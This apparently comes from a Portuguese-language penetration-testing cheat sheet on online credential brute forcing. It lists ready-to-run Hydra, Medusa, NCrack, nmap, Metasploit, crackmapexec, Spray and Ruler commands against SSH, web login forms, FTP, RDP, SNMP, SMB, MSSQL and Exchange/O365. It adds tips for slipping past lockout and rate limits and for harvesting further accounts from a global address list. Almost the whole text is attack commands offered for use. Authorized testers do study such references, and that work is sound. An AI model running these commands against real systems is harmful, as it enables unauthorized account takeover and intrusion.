Online

SSH

Hydra

Utilize o argumento -s <port>, caso o SSH não esteja na porta 22 (default)

hydra -L <wordlist-user.txt> -P <wordlist-passwords.txt> <ip_alvo> ssh

hydra -l <user> -P <wordlist-passwords.txt> ssh://<ip>:<port> -v

Caso saiba o user SSH, pode-se colocar manualmente, alterando -L por -l, e o mesmo pode ser feito para o passaword, alterando -P por -p. Exemplo:

hydra -l root -P <wordlist-passwords.txt> <ip_alvo> ssh

O Hydra também consegue trabalhar com uma lista de servidores

hydra -L <wordlist-user.txt> -P <wordlist-passwords.txt> -M <wordlist-servers.txt> -o <arquivo_de_saida.txt> -f -w 2s ssh

EXPLICAÇÃO -w 2s = Define que irá realizar uma nova tentativa a cada 2 segundos -f = Assim que achar uma conta válida, ignore o resto da wordlist

OBS.: Utilizamos aqui como exemplo o SSH, mas o Hydra suporta outros protocolos como FTP, Telnet, etc. Basta alterar o protocolo no final do comando.

Medusa

medusa -h <ip> -n 22 -U <usuario> -P <wordlist.txt> -M ssh

HTTP Form

Hydra

hydra -L <wordlist-user.txt> -P <wordlist-passwords.txt> <domain_wihtout_http> -s <port> http-post-form "/login.php:user=^USER^&pass=^PASS^:Mensagem que aparece na falha"

OBS.: Atente-se aos : (dois pontos) nos parâmetros e sempre matenha os parâmetros ^USER^ e ^PASS^ e troque o login.php pelo nome do arquivo/página que realiza de fato a autenticação. Tudo o que não tiver a frase Mensagem que aparece na falha, será considerado como login correto.

DICA: Caso seja uma página onde só há um input e não dois (como no exemplo acima que usamos user e pass), matenha o -l admin (mesmo que não exista) e passe o parâmentro -P com a wordlist. Por exemplo:

hydra -l admin -P <wordlist.txt> <domain_wihtout_http> http-post-form "/index.php:password=^PASS^:<mensagem de erro>"

Case use cookie ou algo no cabeçalho, utilize o seguinte padrão:

hydra -L <wordlist_user.txt> -P <wordlist_pass.txt> <domain_wihtout_http> http-post-form "/index.php:user=^USER^&pass=^PASS^:F=Mensagem que aparece na falha:H=Cookie: PHPSESSID=2hosvf7f7g1ap5g0esc2k8tsqj; path=/"

Hydra + Proxy

Para interceptar as requisições via Burp Suite, utilize o seguinte comando antes de executar o hydra.

export HYDRA_PROXY_HTTP=http://127.0.0.1:8080

Basic Authentication

Realize esse tipo de ataque quando aparecer um popup solicitando um usuário e senha assim que acessar a página WEB.

Hydra

hydra -l <user> -P <wordlist.txt> <ip> http-get </subdirectory>

Utilize http-head caso o http-get não funcione

hydra -l <user> -P <wordlist.txt> <ip> http-head </subdirectory>

Medusa

medusa -h <ip> -u <user> -P <wordlist.txt> -M http -m DIR:</directory> -T 10

FTP

Hydra

Realizando Brute Force em diversos servidores

hydra -L <wordlist_user.txt> -P <wordlist_passwords.txt> -M <wordlist_servers.txt> -o <output_file.txt> -f -w 2s ftp

EXPLICAÇÃO -w 2s = Define que irá realizar uma nova tentativa a cada 2 segundos -f = Assim que achar uma conta válida, ignore o resto da wordlist

NCrack

ncrack -u <user> -P <wordlist.txt> <ip> -p 21

Caso queira deixá-lo mais rápido, utilize o argumento -T 5 ou -t 5 semelhante ao NMAP. Em casos onde há bloqueio de tentativas simultâneas, diminua o valor para 2 (por exemplo), para bypassar esse bloqueio.

nmap

map -p21 --script ftp-brute --script-args userdb=</path/users.txt> <ip>

RDP (Windows)

ncrack

ncrack -vv --user <user> -P <wordlist.txt> rdp://<ip>

hydra

hydra -L <user.txt> -P <pass.txt> -v <ip> rdp
hydra -L <user.txt> -P <pass.txt> rdp://<ip>
hydra -V -f -l <user> -P <pass.txt> rdp://<ip>

SNMP

Hydra

hydra -P <wordlist.txt> -v <ip> snmp

Metasploit

msfconsole
use auxiliary/scanner/snmp/snmp_login
set RHOSTS <ip>
set THREADS 5
exploit

SMB

crackmapexec

crackmapexec smb <ip> -u <user.txt> -p <pass.txt>

# Configurando para não parar o teste após encontrar uma conta válida
crackmapexec smb <ip> -u <user.txt> -p <pass.txt> --continue-on-success

Hydra

hydra -L <wordlist_user.txt> -P <wordlist_pass.txt> <ip_alvo> smb

NCrack

ncrack –U <wordlist_user.txt> -P <wordlist_pass.txt> <ip_alvo> –p 445

Medusa

medusa -h <ip_alvo> -U <wordlist_user.txt> -P <wordlist_pass.txt> -M smbnt

Microsoft SQL Server

Metasploit

msfconsole -q
use auxiliary/scanner/mssql/mssql_login
set rhosts <ip>
set user_file <users.txt>
set pass_file <pass.txt>
exploit

nmap

nmap -p 1433 --script ms-sql-brute --script-args userdb=<wordlist.txt>,passwd=<wordlist> <ip>

Spray

Está ferramenta serve para realizar brute force seguindo o Password Spraying, que segue uma abordagem um pouco diferente do brute force tradicional, pois essa utiliza uma wordlist específica para o alvo, e também respeita limites de tentativas e tempo de espera, para evitar que a conta seja bloqueada. Este processo pode ser um tanto quanto lento, porém pode trazer bons resultados.

O Spray suporta protocolos como SMB, OVA e LYNC (Microsoft Chat).

./spray.sh <protocolo> <ip> <wordlist_user> <wordlist_password> <qtdade_tentativas> <qtdade_tempo_espera> <domain>

Caso esteja utilizando um POST, salve a requisição (Burp Suite) em um arquivo de texto e altere o valor do POST para o seguinte formato de exemplo e depois utilize a sintaxe abaixo: username=sprayuser@domain.com&password=spraypassword

./spray.sh <protocolo> <http://site.com> <wordlist_user> <wordlist_password> <qtdade_tentativas> <qtdade_tempo_espera> <requisicao_burp_suite>

Ruler

Esta é uma ferramenta que permite interagir remotamente com Servidores Exchange, por meio do protocolo MAPI/HTTP ou RPC/HTTP. O objetivo principal é abusar dos recursos do Outlook do lado do cliente e obter um shell remotamente.

go run ruler.go --domain <site.com> brute --users <wordlist_user.txt> --passwords <wordlist_password.txt>

Uma vez que conseguimos pegar credenciais válidas, podemos fazer um dump de todos os usuários do O365 Global Address List (GAL) e depois fazermos brute force com as novas contas localizadas.

go run ruler.go --email <conta@site.com> abk dump --output <file.txt>

Last updated